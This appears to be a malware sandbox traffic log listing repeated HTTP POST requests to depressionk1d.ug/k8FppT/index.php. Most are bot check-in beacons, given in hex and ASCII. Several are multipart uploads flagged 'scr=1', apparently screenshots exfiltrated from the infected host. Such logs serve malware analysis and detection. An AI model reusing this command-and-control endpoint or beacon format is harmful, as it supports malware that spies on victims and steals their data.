Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----35cdb41c8aae8e685df6a1946f054310Host: depressionk1d.ugContent-Length: 111710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----681dc45aa8e7e3e73e55f3d3bf467b87Host: depressionk1d.ugContent-Length: 106842Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7528d71526b232f5f62aa1709e48d5dfHost: depressionk1d.ugContent-Length: 107845Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----3529b1c2a4757137df590a1ac8a0c6dbHost: depressionk1d.ugContent-Length: 107582Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7b616cd57d8ad98a4b4d99fe00a47553Host: depressionk1d.ugContent-Length: 106954Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----8ce385891442aafcc84e0cf96686219eHost: depressionk1d.ugContent-Length: 110494Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
